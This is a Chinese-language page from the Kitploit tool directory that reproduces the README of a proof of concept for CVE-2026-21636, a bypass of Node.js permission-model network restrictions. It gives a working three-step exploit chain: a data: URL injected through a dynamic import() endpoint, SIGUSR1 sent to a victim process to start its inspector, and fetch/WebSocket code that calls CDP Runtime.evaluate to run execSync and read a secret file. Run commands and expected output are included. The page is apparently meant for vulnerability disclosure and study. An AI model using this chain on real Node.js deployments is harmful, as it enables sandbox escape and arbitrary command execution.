Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/pauldechassey/cve-2026-21636
容器安全漏洞分析漏洞利用Web应用程序漏洞利用安全虚拟化渗透测试
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

概念验证,演示了 Node.js 权限模型绕过(CVE-2026-21636),该漏洞允许通过 undici/fetch 访问本地服务的网络,从而通过 CDP 实现任意代码执行。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-21636 - Node.js 权限模型 UDS/网络绕过

漏洞摘要

Node.js 权限模型(--permission)旨在通过限制对文件系统、子进程、工作线程和网络的访问来对进程进行沙箱化。CVE-2026-21636 揭示了通过 undici/fetch(以及 net/tls)到 Unix 域套接字和本地 TCP 地址的连接完全绕过了网络防护,即使未设置 --allow-net 也是如此。

受影响:Node.js v25(网络权限在披露时仍处于实验阶段)。
此 PoC 在 v22 上复现了该概念,其中可以观察到相同的绕过行为。

能够向在 --permission(但未设置 --allow-net 或 --allow-child-process)下运行的进程注入任意 JavaScript 的攻击者可以:

  1. 连接到本应无法访问的特权本地服务。
  2. 通过该服务进行跳板,在沙箱之外执行任意命令。

环境架构

两个进程在容器内通过 supervisord 并行运行:

进程用户

target.cjs 在启动时将自身的 PID 写入 /tmp/target.pid,然后无限循环(空闲的受害者进程)。server.mjs 在 :8000 上暴露一个 Express 服务器,带有 /pid 端点和易受攻击的 /language 端点。

/app/secret.txt 由 app 拥有(chmod 444)。两个进程都可以在操作系统层面访问它。该漏洞利用不依赖于文件权限屏障——它证明了 server.mjs 尽管未设置 --allow-net,仍可以通过 fetch()/WebSocket 访问 127.0.0.1:9229,并在未沙箱化的 target.cjs 进程内执行任意代码。通过 CDP 读取 secret.txt 是该代码执行的证明。

注意:此 PoC 实际演示的内容

由于 server.mjs 已经以 --allow-fs-read=/ 运行,仅使用 JS 注入(步骤 1)从沙箱化进程直接读取 /app/secret.txt 是微不足道的:

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

文件系统读取不是此 PoC 的重点。目标是演示 CVE-2026-21636:尽管未设置 --allow-net,fetch()(undici)仍可以建立到 127.0.0.1:9229 的 TCP 连接,完全绕过权限模型的网络防护。该漏洞利用使用此绕过通过 CDP 跳板进入完全未沙箱化的 target.cjs 进程,并实现沙箱之外的任意代码执行;这是任何数量的 --allow-fs-read 都无法允许的。


入口点 - POST /language

本节不在 PoC 的范围内。

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

服务器对用户可控的字符串执行动态 import()。Node.js 的 import() 原生支持 data: URL 方案:

root@kitploit:~
data:text/javascript,<百分号编码的 JS>

服务器追加的 /index.js 后缀通过在负载末尾追加 // 来中和(被视为 URL 注释 / 忽略的路径片段)。

这提供了在沙箱化进程内执行任意 JavaScript 的能力——这是滥用 CVE-2026-21636 的入口点。


权限模型 - 允许(和不允许)的内容

服务器以以下方式启动:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

意图:即使攻击者在 server.mjs 内运行代码,他们也无法访问网络、生成进程或访问检查器。

CVE-2026-21636 打破了 --allow-net 边界。


攻击链(3 个步骤)

步骤 1 - 获取目标 PID

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs 在启动时将自身的 PID 写入 /tmp/target.pid。服务器将其暴露出来。这标识了将用作 CDP 中继的受害者进程。 这也可以通过向入口点注入 JS 来完成;为了简化,我创建了 /pid 端点。


步骤 2 - 通过 SIGUSR1 在 target.cjs 上激活 V8 检查器

通过 POST /language(作为 data: URL)注入的负载:

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

当 Node.js 进程收到 SIGUSR1 时,它会启动(或恢复)其 V8/CDP 调试器,并开始监听:

root@kitploit:~
127.0.0.1:9229

由于 target.cjs 在没有 --permission 的情况下运行,其检查器具有完全特权——它可以评估任何表达式,包括 require('child_process').execSync(...)。

发送信号(process.kill)不受权限模型的限制,因此此步骤可以从沙箱内部成功执行。


步骤 3 - 连接到 CDP 并执行命令(CVE-2026-21636)

通过 POST /language 注入的第二个负载:

root@kitploit:~
// 从检查器 HTTP API 获取可调试目标的列表
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//然后打开一个 WebSocket 连接到 target.cjs 的 CDP 端点
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

为什么这在未设置 --allow-net 的情况下仍然有效:

Node.js 中的 fetch() 由 undici 实现。CVE-2026-21636 表明 undici 对 http://127.0.0.1:...(以及 UDS socketPath 选项)的连接路径不会经过权限模型的网络检查。沙箱认为没有进行出站网络访问,但到 :9229 的 TCP 连接却成功了。

CDP Runtime.evaluate 调用在未沙箱化的 target.cjs 进程内运行,因此 require('child_process') 可用,execSync 可以自由工作。


完整漏洞利用流程

root@kitploit:~
攻击者(Python 脚本)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → target.cjs 检查器在 :9229 上启动
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              CVE-2026-21636 在此绕过
                                              (在没有 --allow-net 的情况下 fetch 到 127.0.0.1)

使用方法

root@kitploit:~
# 构建并启动环境
docker compose up --build -d

# 运行漏洞利用
python3 exploit.py

预期输出:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

参考

  • NVD - CVE-2026-21636
  • Node.js 权限模型文档
  • V8 检查器 / CDP 协议
  • undici - Node.js 内置 HTTP 客户端
下载工具
标志
能力
target.cjsapp无完整的 Node.js API,无沙箱
server.mjsapp--permission --allow-fs-read=/完整的文件系统读取 — 无网络、无子进程、无工作线程
权限状态
--allow-fs-read=/已授予(完全读取)
--allow-fs-write拒绝
--allow-net拒绝(实验性,未设置)
--allow-child-process拒绝
--allow-worker拒绝
--allow-inspector拒绝